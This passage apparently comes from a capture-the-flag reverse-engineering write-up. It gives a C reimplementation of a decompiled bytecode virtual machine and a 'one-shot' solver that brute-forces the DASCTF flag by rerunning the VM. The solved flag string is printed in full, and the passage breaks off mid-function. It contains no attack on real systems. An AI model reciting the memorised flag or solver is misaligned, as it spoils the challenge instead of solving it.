 0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0\n};\nunsigned __int64 __fastcall vm(int *a1);\nchar good_flag[0x40] = &quot;DASCTF{h1Den_Vm_I3_Soo0_Fun_!}&quot;;\nint flag_size = 0;\nint * s_ptr = (int*)(&amp;s[0]);\nunsigned int *__fastcall vm_parse(unsigned int a1, unsigned char *a2, unsigned int *a3)\n{\n    int v3; \/\/ eax\n    unsigned int *result; \/\/ rax\n\n    *a2 = a1;\n    v3 = (unsigned __int8)*a2;\n    if ( v3 == 6 )\n    {\n        result = a3;\n        *a3 = a1 &gt;&gt; 8;\n    }\n    else\n    {\n        if ( (unsigned __int8)*a2 &gt; 6u )\n            goto LABEL_9;\n        if ( v3 == 1 )\n        {\n            result = a3;\n            *a3 = a1 &gt;&gt; 8;\n            return result;\n        }\n        if ( v3 == 5 )\n        {\n            result = a3;\n            *a3 = a1 &gt;&gt; 8;\n        }\n        else\n        {\n            LABEL_9:\n            result = a3;\n            *a3 = 0;\n        }\n    }\n    return result;\n}\n__int64 __fastcall vm_push(int *a1, int a2)\n{\n    unsigned int v2; \/\/ eax\n    __int64 v3; \/\/ rcx\n    __int64 result; \/\/ rax\n\n    if ( (unsigned int)a1[501] &gt; 0x63 )\n    {\n        puts(&quot;trying to push to an already full stack!&quot;);\n        _exit(-1);\n    }\n    v2 = a1[501];\n    a1[501] = v2 + 1;\n    v3 = v2 + 500LL;\n    result = (unsigned int)a2;\n    a1[v3 + 2] = a2;\n    return result;\n}\nint *__fastcall vm_pop(int *a1)\n{\n    int *result; \/\/ rax\n\n    result = a1;\n    --a1[501];\n    return result;\n}\n__int64 __fastcall vm_add(int *a1)\n{\n    int v2; \/\/ [rsp+18h] [rbp-8h]\n\n    if ( (unsigned int)a1[501] &lt;= 1 )\n    {\n        puts(&quot;add instruction cannot be executed with less than two stack elements!&quot;);\n        _exit(-1);\n    }\n    v2 = a1[--a1[501] + 502];\n    int v3 = a1[--a1[501] + 502];\n    printf(&quot;%d + %d\\n&quot;, v2,v3);\n    return vm_push(a1, v3 + v2);\n}\n__int64 __fastcall vm_and(int *a1)\n{\n    int v2; \/\/ [rsp+18h] [rbp-8h]\n\n    if ( (unsigned int)a1[501] &lt;= 1 )\n    {\n        puts(&quot;and instruction cannot be executed with less than two stack elements!&quot;);\n        _exit(-1);\n    }\n    v2 = a1[--a1[501] + 502];\n    int v3 = a1[--a1[501] + 502];\n    printf(&quot;%d | %d = %d\\n&quot;, v2,v3, v2|v3);\n    return vm_push(a1,  v3 | (unsigned int)v2);\n}\n__int64 __fastcall vm_lsh(int *a1, char a2)\n{\n    if ( a1[501] ){\n        int v2 = a1[--a1[501] + 502];\n        printf(&quot;%d &lt;&lt; %d = 0x%x\\n&quot;, v2,a2, v2 &lt;&lt; a2);\n        return vm_push(a1, v2 &lt;&lt; a2);\n    }\n    puts(&quot;lsh instruction cannot be executed with a empty stack!&quot;);\n    _exit(-1);\n    return vm_push(a1, a1[--a1[501] + 502] &lt;&lt; a2);\n}\n__int64 __fastcall vm_rsh(int *a1, char a2)\n{\n    if ( a1[501] ){\n        int v2 = a1[--a1[501] + 502];\n        printf(&quot;%d &gt;&gt; %d = 0x%x\\n&quot;, v2,a2, v2 &gt;&gt; a2);\n        return vm_push(a1, v2 &gt;&gt; a2);\n    }\n\n    puts(&quot;rsh instruction cannot be executed with a empty stack!&quot;);\n    _exit(-1);\n    return vm_push(a1, (unsigned int)a1[--a1[501] + 502] &gt;&gt; a2);\n}\nunsigned __int64 __fastcall vm_read(int *a1)\n{\n    char v2; \/\/ [rsp+17h] [rbp-9h] BYREF\n    unsigned __int64 v3; \/\/ [rsp+18h] [rbp-8h]\n\n    v3 = 0;\n    if ( (unsigned int)a1[501] &gt; 0x63 )\n    {\n        puts(&quot;read instruction cannot be executed with a full stack!&quot;);\n        _exit(-1);\n    }\n    \/\/scanf(&quot;%c&quot;, &amp;v2);\n    \/\/printf(&quot;[get] %c %d\\n&quot;,v2,v2);\n    \/\/vm_push(a1, v2);\n    vm_push(a1, good_flag[flag_size++]);\n    return v3 - 0;\n}\nint __fastcall vm_print(int *a1)\n{\n    if ( a1[501] )\n        return putchar((char)a1[--a1[501] + 502]);\n    puts(&quot;print instruction cannot be executed with a full stack!&quot;);\n    _exit(-1);\n    return putchar((char)a1[--a1[501] + 502]);\n}\nint *__fastcall vm_jmp(int *a1)\n{\n    int *result; \/\/ rax\n\n    if ( !a1[501] )\n    {\n        puts(&quot;jmp instruction cannot be executed with a empty stack!&quot;);\n        _exit(-1);\n    }\n    --a1[501];\n    result = a1;\n    *a1 = a1[a1[501] + 502];\n    return result;\n}\nint *__fastcall vm_be(int *a1)\n{\n    int *result; \/\/ rax\n\n    if ( (unsigned int)a1[501] &lt;= 2 )\n    {\n        puts(&quot;be instruction cannot be executed with less than three stack elements!&quot;);\n        _exit(-1);\n    }\n    result = a1;\n    printf(&quot;if 0x%x == 0x%x\\n&quot;, a1[a1[501] - 2 + 502] , a1[a1[501] - 3 + 502]);\n    if ( a1[a1[501] - 2 + 502] == a1[a1[501] - 3 + 502] )\n    {\n        *a1 = a1[a1[501] - 1 + 502];\n        printf(&quot;[!!!]%s\\n&quot;, good_flag);\n    }\n    else{\n        \/\/++*a1;\n        a1[501] = 0;\n        a1[a1[501] - 2 + 502]=0;\n        a1[a1[501] - 3 + 502]=0;\n        good_flag[flag_size] += 1;\n        flag_size=0;\n        vm(s_ptr);\n        exit(0);\n    }\n    return result;\n}\nint *__fastcall vm_bl(int *a1)\n{\n    int *result; \/\/ rax\n    int v2; \/\/ [rsp+14h] [rbp-Ch]\n    unsigned int v3; \/\/ [rsp+18h] [rbp-8h]\n\n    if ( (unsigned int)a1[501] &lt;= 2 )\n    {\n        puts(&quot;bl instruction cannot be executed with less than three stack elements!&quot;);\n        _exit(-1);\n    }\n    v2 = a1[--a1[501] - 1 + 502];\n    v3 = a1[--a1[501] - 2 + 502];\n    --a1[501];\n    result = a1;\n    if ( v3 &gt;= a1[a1[501] - 3 + 502] ){\n        printf(&quot;aaa\\n&quot;);\n        ++*a1;\n    }\n    else{\n        printf(&quot;bbb\\n&quot;);\n        *a1 = v2;\n    }\n\n    return result;\n}\nunsigned __int64 __fastcall vm(int *a1)\n{\n    unsigned char v2; \/\/ [rsp+13h] [rbp-Dh] BYREF\n    unsigned int v3; \/\/ [rsp+14h] [rbp-Ch] BYREF\n\n    while ( 1 )\n    {\n        vm_parse((unsigned int)a1[*a1 + 1], &amp;v2, &amp;v3);\n        switch ( v2 )\n        {\n            case 1:\n                vm_push(a1, v3);\n                ++*a1;\n                break;\n            case 2:\n                vm_pop(a1);\n                ++*a1;\n                break;\n            case 3:\n                vm_add(a1);\n                ++*a1;\n                break;\n            case 4:\n                vm_and(a1);\n                ++*a1;\n                break;\n            case 5:\n                vm_lsh(a1, v3);\n                ++*a1;\n                break;\n            case 6:\n                vm_rsh(a1, v3);\n                ++*a1;\n                break;\n            case 7:\n                vm_read(a1);\n                ++*a1;\n                break;\n            case 8:\n                vm_print(a1);\n                ++*a1;\n                break;\n            case 9:\n                vm_jmp(a1);\n                break;\n            case 10:\n                vm_be(a1);\n                break;\n            case 11:\n                vm_bl(a1);\n                break;\n            case 12:\n                return 0;\n            default:\n                continue;\n        }\n    }\n}\nunsigned __int64 vm_init()\n{\n    return vm((int*)s);\n}\n\nint main() {\n    vm_init();\n    return 0;\n}<\/code><\/pre>\n<p>exp\u4e00\u628a\u68ad<\/p>\n<pre><code class=\"language-c\">#include &lt;iostream&gt;\n#include &lt;vector&gt;\n#include &lt;string&gt;\n#include &lt;cctype&gt;\n#include &lt;unordered_map&gt;\n#include &lt;unordered_set&gt;\nusing namespace std;\nunsigned char s[] ={\n    0,   0,   0,   0,   7,   0,   0,   0,   1,   1,\n    0,   0,   3,   0,   0,   0,   1,  69,   0,   0,\n    1,   8,   0,   0,  10,   0,   0,   0,   1, 112,\n    1,   0,   9,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   7,   0,\n    0,   0,   1,   2,   0,   0,   3,   0,   0,   0,\n    1,  67,   0,   0,   1,  19,   0,   0,  10,   0,\n    0,   0,   1, 112,   1,   0,   9,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   7,   0,   0,   0,   1,   3,   0,   0,\n    3,   0,   0,   0,   1,  86,   0,   0,   1,  30,\n    0,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    1,   1,   0,   0,   3,   0,   0,   0,   1,  68,\n    0,   0,   1,  41,   0,   0,  10,   0,   0,   0,\n    1, 112,   1,   0,   9,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    7,   0,   0,   0,   1,   2,   0,   0,   3,   0,\n    0,   0,   1,  86,   0,   0,   1,  52,   0,   0,\n    10,   0,   0,   0,   1, 112,   1,   0,   9,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   7,   0,   0,   0,   1,   3,\n    0,   0,   3,   0,   0,   0,   1,  73,   0,   0,\n    1,  63,   0,   0,  10,   0,   0,   0,   1, 112,\n    1,   0,   9,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   7,   0,\n    0,   0,   5,   8,   0,   0,   1,   1,   0,   0,\n    4,   0,   0,   0,   1,   1, 123,   0,   1,  75,\n    0,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    5,   8,   0,   0,   1,   2,   0,   0,   4,   0,\n    0,   0,   1,   2, 104,   0,   1,  87,   0,   0,\n    10,   0,   0,   0,   1, 112,   1,   0,   9,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   7,   0,   0,   0,   5,   8,\n    0,   0,   1,   3,   0,   0,   4,   0,   0,   0,\n    1,   3,  49,   0,   1,  99,   0,   0,  10,   0,\n    0,   0,   1, 112,   1,   0,   9,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   7,   0,   0,   0,   5,   8,   0,   0,\n    1,   1,   0,   0,   4,   0,   0,   0,   1,   1,\n    68,   0,   1, 111,   0,   0,  10,   0,   0,   0,\n    1, 112,   1,   0,   9,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    7,   0,   0,   0,   5,   8,   0,   0,   1,   1,\n    0,   0,   4,   0,   0,   0,   1,   1, 101,   0,\n    1, 123,   0,   0,  10,   0,   0,   0,   1, 112,\n    1,   0,   9,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   7,   0,\n    0,   0,   5,   8,   0,   0,   1,   2,   0,   0,\n    4,   0,   0,   0,   1,   2, 110,   0,   1, 135,\n    0,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    5,   8,   0,   0,   1,   3,   0,   0,   4,   0,\n    0,   0,   1,   3,  95,   0,   1, 147,   0,   0,\n    10,   0,   0,   0,   1, 112,   1,   0,   9,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   7,   0,   0,   0,   1,   1,\n    0,   0,   3,   0,   0,   0,   1,  87,   0,   0,\n    1, 158,   0,   0,  10,   0,   0,   0,   1, 112,\n    1,   0,   9,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   7,   0,\n    0,   0,   1,   2,   0,   0,   3,   0,   0,   0,\n    1, 111,   0,   0,   1, 169,   0,   0,  10,   0,\n    0,   0,   1, 112,   1,   0,   9,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   7,   0,   0,   0,   1,   3,   0,   0,\n    3,   0,   0,   0,   1,  98,   0,   0,   1, 180,\n    0,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    1,   1,   0,   0,   3,   0,   0,   0,   1,  74,\n    0,   0,   1, 191,   0,   0,  10,   0,   0,   0,\n    1, 112,   1,   0,   9,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    7,   0,   0,   0,   1,   2,   0,   0,   3,   0,\n    0,   0,   1,  53,   0,   0,   1, 202,   0,   0,\n    10,   0,   0,   0,   1, 112,   1,   0,   9,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   7,   0,   0,   0,   1,   3,\n    0,   0,   3,   0,   0,   0,   1,  98,   0,   0,\n    1, 213,   0,   0,  10,   0,   0,   0,   1, 112,\n    1,   0,   9,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   7,   0,\n    0,   0,   1,   2,   0,   0,   3,   0,   0,   0,\n    1,  85,   0,   0,   1, 224,   0,   0,  10,   0,\n    0,   0,   1, 112,   1,   0,   9,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   7,   0,   0,   0,   5,   1,   0,   0,\n    1, 222,   0,   0,   1, 234,   0,   0,  10,   0,\n    0,   0,   1, 112,   1,   0,   9,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   7,   0,   0,   0,   5,   2,   0,   0,\n    1, 188,   1,   0,   1, 244,   0,   0,  10,   0,\n    0,   0,   1, 112,   1,   0,   9,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   7,   0,   0,   0,   5,   3,   0,   0,\n    1, 128,   1,   0,   1, 254,   0,   0,  10,   0,\n    0,   0,   1, 112,   1,   0,   9,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   7,   0,   0,   0,   5,   8,   0,   0,\n    1,   1,   0,   0,   4,   0,   0,   0,   1,   1,\n    95,   0,   1,  10,   1,   0,  10,   0,   0,   0,\n    1, 112,   1,   0,   9,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   2,   0,   0,   0,\n    7,   0,   0,   0,   5,   8,   0,   0,   1,   2,\n    0,   0,   4,   0,   0,   0,   1,   2,  70,   0,\n    1,  22,   1,   0,  10,   0,   0,   0,   1, 112,\n    1,   0,   9,   0,   0,   0,   2,   0,   0,   0,\n    2,   0,   0,   0,   2,   0,   0,   0,   7,   0,\n    0,   0,   5,   8,   0,   0,   1,   3,   0,   0,\n    4,   0,   0,   0,   1,   3, 117,   0,   1,  34,\n    1,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    5,   1,   0,   0,   1, 220,   0,   0,   1,  44,\n    1,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    5,   2,   0,   0,   1, 124,   1,   0,   1,  54,\n    1,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    5,   3,   0,   0,   1,   8,   1,   0,   1,  64,\n    1,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   7,   0,   0,   0,\n    5,   3,   0,   0,   1, 232,   3,   0,   1,  74,\n    1,   0,  10,   0,   0,   0,   1, 112,   1,   0,\n    9,   0,   0,   0,   2,   0,   0,   0,   2,   0,\n    0,   0,   2,   0,   0,   0,   1,  67,   0,   0,\n    8,   0,   0,   0,   1, 111,   0,   0,   8,   0,\n    0,   0,   1, 110,   0,   0,   8,   0,   0,   0,\n    1, 103,   0,   0,   8,   0,   0,   0,   1, 114,\n    0,   0,   8,   0,   0,   0,   1,  97,   0,   0,\n    8,   0,   0,   0,   1, 116,   0,   0,   8,   0,\n    0,   0,   1, 117,   0,   0,   8,   0,   0,   0,\n    1, 108,   0,   0,   8,   0,   0,   0,   1,  97,\n    0,   0,   8,   0,   0,   0,   1, 116,   0,   0,\n    8,   0,   0,   0,   1, 105,   0,   0,   8,   0,\n    0,   0,   1, 111,   0,   0,   8,   0,   0,   0,\n    1, 110,   0,   0,   8,   0,   0,   0,   1, 115,\n    0,   0,   8,   0,   0,   0,   1,  33,   0,   0,\n    8,   0,   0,   0,   1,  10,   0,   0,   8,   0,\n    0,   0,  12,   0,   0,   0,   1,  84,   0,   0,\n    8,   0,   0,   0,   1, 114,   0,   0,   8,   0,\n    0,   0,   1, 121,   0,   0,   8,   0,   0,   0,\n    1,  44,   0,   0,   8,   0,   0,   0,   1,  65,\n    0,   0,   8,   0,   0,   0,   1, 103,   0,   0,\n    8,   0,   0,   0,   1,  97,   0,   0,   8,   0,\n    0,   0,   1, 105,   0,   0,   8,   0,   0,   0,\n    1, 110,   0,   0,   8,   0,   0,   0,   1,  33,\n    0,   0,   8,   0,   0,   0,   1,  10,   0,   0,\n    8,   0,   0,   0,  12,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0\n};\nunsigned __int64 __fastcall vm(int *a1);\nchar good_flag[0x40] = &quot;DASCTF{&quot;;\nint flag_size = 0;\nint * s_ptr = (int*)(&amp;s[0]);\nunsigned int *__fastcall vm_parse(unsigned int a1, unsigned char *a2, unsigned int *a3)\n{\n    int v3; \/\/ eax\n    unsigned int *result; \/\/ rax\n\n    *a2 = a1;\n    v3 = (unsigned __int8)*a2;\n    if ( v3 == 6 )\n    {\n        result = a3;\n        *a3 = a1 &gt;&gt; 8;\n    }\n    else\n    {\n        if ( (unsigned __int8)*a2 &gt; 6u )\n            goto LABEL_9;\n        if ( v3 == 1 )\n        {\n            result = a3;\n            *a3 = a1 &gt;&gt; 8;\n            return result;\n        }\n        if ( v3 == 5 )\n        {\n            result = a3;\n            *a3 = a1 &gt;&gt; 8;\n        }\n        else\n        {\n            LABEL_9:\n            result = a3;\n            *a3 = 0;\n        }\n    }\n    return result;\n}\n__int64 __fastcall vm_push(int *a1, int a2)\n{\n    unsigned int v2; \/\/ eax\n    __int64 v3; \/\/ rcx\n    __int64 result; \/\/ rax\n\n    if ( (unsigned int)a1[501] &gt; 0x63 )\n    {\n        puts(&quot;trying to push to an already full stack!&quot;);\n        _exit(-1);\n    }\n    v2 = a1[501];\n    a1[501] = v2 + 1;\n    v3 = v2 + 500LL;\n    result = (unsigned int)a2;\n    a1[v3 + 2] = a2;\n    return result;\n}\nint *__fastcall vm_pop(int *a1)\n{\n    int *result; \/\/ rax\n\n    result = a1;\n    --a1[501];\n    return result;\n}\n__int64 __fastcall vm_add(int *a1)\n{\n    int v2; \/\/ [rsp+18h] [rbp-8h]\n\n    if ( (unsigned int)a1[501] &lt;= 1 )\n    {\n        puts(&quot;add instruction cannot be executed with less than two stack elements!&quot;);\n        _exit(-1);\n    }\n    v2 = a1[--a1[501] + 502];\n    int v3 = a1[--a1[501] + 